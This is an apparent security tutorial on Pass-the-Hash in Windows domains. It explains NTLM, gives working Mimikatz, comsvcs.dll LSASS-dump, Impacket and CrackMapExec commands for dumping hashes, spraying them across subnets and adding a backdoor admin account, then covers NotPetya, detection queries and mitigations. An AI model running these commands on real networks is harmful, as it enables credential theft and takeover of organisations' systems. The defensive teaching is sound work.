Pass-the-Hash (PtH) is arguably the most impactful lateral movement technique in Windows environments. It transforms credential access into network-wide compromise without requiring password cracking, works across the majority of enterprise network services, and has been a core component of some of the most destructive cyberattacks in history — including NotPetya and numerous ransomware operations. Understanding its mechanics is prerequisite to understanding why so many Active Directory environments remain vulnerable despite years of awareness.

NTLM Authentication: The Protocol That Makes PtH Possible

Microsoft’s NTLM (NT LAN Manager) protocol is a challenge-response authentication mechanism. The critical design characteristic: the plaintext password is never used after the hash is computed.

NTLM Authentication Flow:

  1. Negotiate: Client sends a NEGOTIATE_MESSAGE indicating supported NTLM capabilities
  2. Challenge: Server responds with a CHALLENGE_MESSAGE containing an 8-byte random challenge (nonce)
  3. Authenticate: Client computes HMAC-MD5(NT_Hash, Challenge + ClientChallenge) and sends the result in an AUTHENTICATE_MESSAGE

The server (or domain controller, for domain accounts) verifies the response by computing the same HMAC using the stored hash. If they match, authentication succeeds.

The NTLM hash itself is simply MD4(UTF-16LE(password)) — the MD4 hash of the UTF-16 little-endian encoded password. Because NTLM authentication only requires computing the correct HMAC response, and the NTLM hash is the key for that computation, anyone who possesses the hash can authenticate as that user without ever knowing the password.

Why NTLM is still everywhere: Despite Kerberos being the preferred protocol since Windows 2000, NTLM remains in use for:

  • Authentication using IP addresses instead of hostnames
  • Workgroup authentication (no domain controller available)
  • Non-domain-joined machines
  • Legacy applications and NAS devices that don’t support Kerberos
  • Some web proxy and internal application authentication
  • Fallback when Kerberos fails

Extracting Hashes from LSASS with Mimikatz

Mimikatz, created by Benjamin Delpy, is the canonical tool for credential extraction from LSASS memory. It requires SeDebugPrivilege (available to local administrators by default) or SYSTEM-level access.

# Interactive Mimikatz session (run as administrator)
mimikatz.exe

# Elevate to SYSTEM-equivalent context
privilege::debug
sekurlsa::logonpasswords

# Typical output for a domain account:
# Authentication Id : 0 ; 123456 (00000000:0001e240)
# Session           : Interactive from 1
# User Name         : jsmith
# Domain            : CORP
# Logon Server      : DC01
# Logon Time        : 4/23/2026 8:32:11 AM
# SID               : S-1-5-21-...
#
#         msv :
#          [00000003] Primary
#          * Username : jsmith
#          * Domain   : CORP
#          * NTLM     : 32ed87bdb5fdc5e9cba88547376818d4
#          * SHA1     : ...
#
#         wdigest :
#          * Username : jsmith
#          * Domain   : CORP
#          * Password : (null)  <-- WDigest disabled on modern Windows

# Extract hashes only (less noisy output)
sekurlsa::msv

# Dump SAM database (local account hashes)
token::elevate
lsadump::sam

# Dump domain hashes from NTDS.dit (on a domain controller)
lsadump::dcsync /domain:corp.local /all /csv
lsadump::dcsync /domain:corp.local /user:administrator

# One-liner (non-interactive)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > hashes.txt

LSASS dump without mimikatz binary (stealth):

1# Use Task Manager GUI: Details tab → lsass.exe → Create dump file
2# Or via comsvcs.dll (living-off-the-land, avoids mimikatz binary on disk)
3$pid = (Get-Process lsass).Id
4rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $pid C:\Temp\lsass.dmp full
5
6# Then exfiltrate lsass.dmp and parse offline with:
7# pypykatz lsa minidump lsass.dmp
8# or mimikatz: sekurlsa::minidump lsass.dmp + sekurlsa::logonpasswords

Lateral Movement with Extracted Hashes

Impacket psexec.py — Execute Commands Remotely

 1# Pass-the-Hash with psexec (spawns cmd.exe on remote host via SMB + SVCCTL)
 2python3 /opt/impacket/examples/psexec.py \
 3  -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
 4  CORP/administrator@192.168.1.50
 5
 6# With explicit domain
 7python3 /opt/impacket/examples/psexec.py \
 8  CORP.LOCAL/jsmith@192.168.1.50 \
 9  -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
10
11# Execute a specific command (non-interactive)
12python3 /opt/impacket/examples/psexec.py \
13  -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
14  CORP/administrator@192.168.1.50 \
15  "whoami /all"

Impacket wmiexec.py — WMI-Based Execution (No Service Installation)

 1# wmiexec is stealthier than psexec — no service creation, uses WMI
 2python3 /opt/impacket/examples/wmiexec.py \
 3  -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
 4  CORP/administrator@192.168.1.50
 5
 6# Execute single command via WMI
 7python3 /opt/impacket/examples/wmiexec.py \
 8  -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
 9  CORP/administrator@192.168.1.50 \
10  "net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add"

Impacket smbexec.py — SMB-Based (No Binary Upload)

1# smbexec uses Windows Service Control Manager but avoids uploading binaries
2python3 /opt/impacket/examples/smbexec.py \
3  -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
4  CORP/administrator@192.168.1.50

CrackMapExec — Network-Wide PtH Spraying

 1# Test hash validity across an entire subnet
 2crackmapexec smb 192.168.1.0/24 \
 3  -u administrator \
 4  -H 32ed87bdb5fdc5e9cba88547376818d4 \
 5  --continue-on-success
 6
 7# Execute command on all machines where hash is valid
 8crackmapexec smb 192.168.1.0/24 \
 9  -u administrator \
10  -H 32ed87bdb5fdc5e9cba88547376818d4 \
11  -x "net user" \
12  --continue-on-success
13
14# Dump SAM on all reachable machines
15crackmapexec smb 192.168.1.0/24 \
16  -u administrator \
17  -H 32ed87bdb5fdc5e9cba88547376818d4 \
18  --sam
19
20# Enumerate shares
21crackmapexec smb 192.168.1.0/24 \
22  -u administrator \
23  -H 32ed87bdb5fdc5e9cba88547376818d4 \
24  --shares
25
26# Check for local admin access (Pwn3d! in output)
27crackmapexec smb targets.txt \
28  -u administrator \
29  -H 32ed87bdb5fdc5e9cba88547376818d4 \
30  --local-auth

Overpass-the-Hash — Convert NTLM Hash to Kerberos Ticket

# In Mimikatz: use NTLM hash to request a Kerberos TGT
sekurlsa::pth /user:administrator /domain:corp.local \
  /ntlm:32ed87bdb5fdc5e9cba88547376818d4 \
  /run:powershell.exe

# In the new PowerShell window — now authenticated via Kerberos
klist  # Shows the TGT obtained using the hash
 1# Impacket — request TGT using NTLM hash (Overpass-the-Hash)
 2python3 /opt/impacket/examples/getTGT.py \
 3  CORP.LOCAL/administrator \
 4  -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
 5  -dc-ip 192.168.1.10
 6
 7export KRB5CCNAME=administrator.ccache
 8python3 /opt/impacket/examples/psexec.py \
 9  CORP.LOCAL/administrator@dc01.corp.local \
10  -k -no-pass

Real Incident: NotPetya (June 2017)

NotPetya is the definitive case study for Pass-the-Hash at scale. The attack, attributed to Sandworm (Russian GRU, Unit 74455), launched on June 27, 2017, initially targeting Ukrainian organizations via a trojanized update to the M.E.Doc accounting software.

Propagation mechanics:

  1. Initial infection via trojanized M.E.Doc update (software supply chain)
  2. NotPetya extracted credential hashes from LSASS using an embedded Mimikatz implementation
  3. Used EternalBlue (MS17-010) for lateral movement to unpatched systems
  4. Used the extracted hashes with a custom PsExec-style implementation and WMIC for lateral movement to patched systems where credentials were valid
  5. Installed itself on remote systems and overwrote the MBR to make systems permanently unbootable

The dual propagation mechanism (exploit + PtH) meant that organizations with perfect patch compliance were still devastated if any one machine had cached credentials for a network admin. Maersk estimated $300M in losses. Merck: $870M. FedEx/TNT: $400M. Total estimated global damage exceeded $10 billion.

The critical PtH amplifier: Many enterprise environments use a single local administrator password across all endpoints. When NotPetya extracted the local admin hash from one machine and successfully used it against hundreds of others, it demonstrated exactly why uniform local admin passwords create catastrophic lateral movement exposure.

Detection

Windows Event IDs for PtH Detection

Event ID 4624 — Successful Logon:

PtH over network typically appears as Logon Type 3 (Network) with authentication package NTLM. Legitimate network logons also use Type 3, so correlation with other factors is required.

 1# Hunt for NTLM network logons from unusual sources
 2Get-WinEvent -ComputerName dc01.corp.local -FilterHashtable @{
 3    LogName   = 'Security'
 4    Id        = 4624
 5    StartTime = (Get-Date).AddHours(-24)
 6} | Where-Object {
 7    $_.Properties[8].Value -eq 3 -and      # LogonType = Network
 8    $_.Properties[10].Value -eq 'NTLM'     # AuthenticationPackage = NTLM
 9} | Select-Object TimeCreated,
10    @{N='Account';E={$_.Properties[5].Value}},
11    @{N='SourceIP';E={$_.Properties[18].Value}},
12    @{N='LogonType';E={$_.Properties[8].Value}},
13    @{N='AuthPackage';E={$_.Properties[10].Value}} |
14    Where-Object { $_.SourceIP -ne '-' -and $_.SourceIP -ne '::1' }

Event ID 4776 — NTLM Credential Validation:

Domain controllers log 4776 when validating NTLM credentials. Multiple 4776 events in rapid succession from the same source IP for different target machines indicates PtH spraying.

 1# Detect NTLM spray: same account authenticating to many machines rapidly
 2Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4776} |
 3  Where-Object { $_.TimeCreated -gt (Get-Date).AddHours(-1) } |
 4  Select-Object TimeCreated,
 5    @{N='Account';E={$_.Properties[1].Value}},
 6    @{N='Workstation';E={$_.Properties[2].Value}},
 7    @{N='ErrorCode';E={$_.Properties[3].Value}} |
 8  Group-Object Account |
 9  Where-Object { $_.Count -gt 10 } |
10  Select-Object Name, Count

Event ID 4648 — Logon Using Explicit Credentials:

This event fires when a process uses explicit credentials (as in RunAs or network authentication with specified credentials). PtH tools that inject credentials into a process context generate this event.

Sysmon Event ID 10 — LSASS Access (Credential Dumping Detection)

1<!-- Sysmon rule to detect LSASS memory access -->
2<RuleGroup name="LSASS Access" groupRelation="and">
3  <ProcessAccess onmatch="include">
4    <TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
5    <GrantedAccess condition="contains any">
6      0x1010;0x1038;0x40;0x1400;0x1000;0x1fffff;0x1410;0x143a
7    </GrantedAccess>
8  </ProcessAccess>
9</RuleGroup>
1# Detect LSASS access via Sysmon event 10
2Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=10} |
3  Where-Object {
4    $_.Properties[4].Value -like "*lsass*" -and
5    $_.Properties[7].Value -notmatch "C:\\Windows\\(System32|SysWOW64)\\antivirus.exe"
6  } | Select-Object TimeCreated,
7    @{N='SourceProcess';E={$_.Properties[5].Value}},
8    @{N='TargetProcess';E={$_.Properties[4].Value}},
9    @{N='GrantedAccess';E={$_.Properties[9].Value}}

Splunk Detection Queries

# Detect PtH lateral movement: NTLM logons where source and destination differ
index=wineventlog EventCode=4624 Logon_Type=3 Authentication_Package=NTLM
  NOT Account_Name="*$"
| eval src_host=lower(Workstation_Name), dest_host=Computer
| where src_host != dest_host AND src_host != ""
| stats count dc(dest_host) as targets_reached values(dest_host) as destinations
  by Account_Name src_host _time
| where targets_reached > 3
| sort - targets_reached

# Correlate LSASS access (Sysmon 10) with subsequent lateral movement (4624)
index=sysmon EventCode=10 TargetImage="*lsass.exe"
| rename SourceProcessGUID as proc_guid, host as compromised_host
| join type=inner compromised_host [
    search index=wineventlog EventCode=4624 Logon_Type=3 Authentication_Package=NTLM
    | rename Workstation_Name as compromised_host
]
| table _time compromised_host SourceProcessName Account_Name dest_host

Defense and Mitigation

1. Windows Credential Guard

Credential Guard uses Hyper-V virtualization to protect NTLM hashes and Kerberos TGTs in an isolated Virtual Secure Mode environment inaccessible to the host OS.

 1# Enable Credential Guard via registry (requires restart + UEFI Secure Boot)
 2# Device Guard and Credential Guard are linked
 3reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
 4  /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 1 /f
 5reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
 6  /v RequirePlatformSecurityFeatures /t REG_DWORD /d 1 /f
 7reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" `
 8  /v LsaCfgFlags /t REG_DWORD /d 1 /f
 9
10# Verify Credential Guard status
11Get-ComputerInfo | Select-Object DeviceGuardVirtualizationBasedSecurityStatus,
12  DeviceGuardSecurityServicesRunning
13
14# Via GPO:
15# Computer Config → Admin Templates → System → Device Guard →
16# "Turn On Virtualization Based Security" → Enabled
17# Credential Guard Configuration: Enabled with UEFI lock

2. Local Administrator Password Solution (LAPS)

 1# Install LAPS (requires AD schema extension)
 2# On the domain controller:
 3Import-Module AdmPwd.PS
 4Update-AdmPwdADSchema
 5
 6# Grant computers permission to write their own passwords
 7Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=corp,DC=local"
 8
 9# Grant specific groups read access to LAPS passwords
10Set-AdmPwdReadPasswordPermission -OrgUnit "OU=Workstations,DC=corp,DC=local" `
11  -AllowedPrincipals "HelpDesk-Group"
12
13# Retrieve LAPS password for a specific machine
14Get-AdmPwdPassword -ComputerName WORKSTATION01
15
16# Verify LAPS is configured (check ms-Mcs-AdmPwd attribute)
17Get-ADComputer WORKSTATION01 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime |
18  Select-Object Name, 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime'
19
20# Windows LAPS (built-in since April 2023 cumulative updates)
21# Configure via Intune or GPO: Computer Config → Admin Templates →
22# System → LAPS → Configure password backup directory

3. Protected Users Group

1# Add privileged accounts to Protected Users
2# This forces Kerberos (disabling NTLM for these accounts)
3Add-ADGroupMember -Identity "Protected Users" -Members "administrator", "svc-admin"
4
5# Protected Users prevents:
6# - NTLM authentication (hash can't be used for PtH)
7# - DES/RC4 Kerberos encryption
8# - Credential caching (WDigest disabled)
9# Test carefully — services using NTLM will break

4. Disable NTLMv1 and Enforce NTLMv2

 1# Via GPO (recommended) or registry:
 2# Computer Config → Policies → Windows Settings → Security Settings →
 3# Local Policies → Security Options →
 4# "Network security: LAN Manager authentication level"
 5# Set to: "Send NTLMv2 response only. Refuse LM & NTLM"
 6
 7# Registry equivalent (LmCompatibilityLevel = 5 = NTLMv2 only)
 8Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
 9  -Name LmCompatibilityLevel -Value 5
10
11# Also restrict NTLM: outgoing traffic
12# Computer Config → Policies → Windows Settings → Security Settings →
13# Local Policies → Security Options →
14# "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers"
15# Set to: Deny all

5. Tiered Administration Model

The tiered model prevents credential exposure across privilege tiers:

  • Tier 0: Domain Controllers, AD infrastructure — only Tier 0 admins
  • Tier 1: Servers — only Tier 1 admins
  • Tier 2: Workstations — only Tier 2 admins

Tier 0 admins never log into Tier 1 or Tier 2 systems, so their credentials never appear in those machines’ LSASS. Even if a Tier 2 workstation is compromised via PtH, the attacker cannot use extracted credentials to reach Tier 0 systems.

6. Additional Mitigations

 1# Enable LSA Protection (RunAsPPL) — makes LSASS a Protected Process Light
 2# Prevents most userland credential dumping tools including Mimikatz
 3Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
 4  -Name RunAsPPL -Value 1
 5
 6# Note: attacker needs a kernel driver to bypass PPL
 7# Restart required; verify with:
 8Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" RunAsPPL
 9
10# Disable WDigest (default off on Windows 8.1+ / Server 2012 R2+, but check)
11Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
12  -Name UseLogonCredential -Value 0
13
14# Enable token binding for NTLM (reduces relay attack surface)
15# Windows Server 2022+ supports Extended Protection for Authentication (EPA)

MITRE ATT&CK Mapping

  • T1550.002 — Use Alternate Authentication Material: Pass the Hash
  • T1003.001 — OS Credential Dumping: LSASS Memory
  • T1003.002 — OS Credential Dumping: Security Account Manager
  • T1021.002 — Remote Services: SMB/Windows Admin Shares (common PtH target)
  • T1047 — Windows Management Instrumentation (wmiexec.py)

Summary

Pass-the-Hash exploits a fundamental property of the NTLM authentication protocol: the hash IS the authentication secret, making password cracking unnecessary. The attack chain — extract from LSASS, spray across the network — is well-understood, well-tooled, and reliably effective in environments that have not specifically deployed countermeasures. NotPetya demonstrated that this single technique, combined with uniform local admin passwords, can destroy an enterprise network in minutes. Layered defense requires Credential Guard to prevent extraction, LAPS to limit the blast radius of any single extracted hash, Protected Users to eliminate NTLM for privileged accounts, and tiered administration to prevent credential cross-contamination across privilege tiers.


References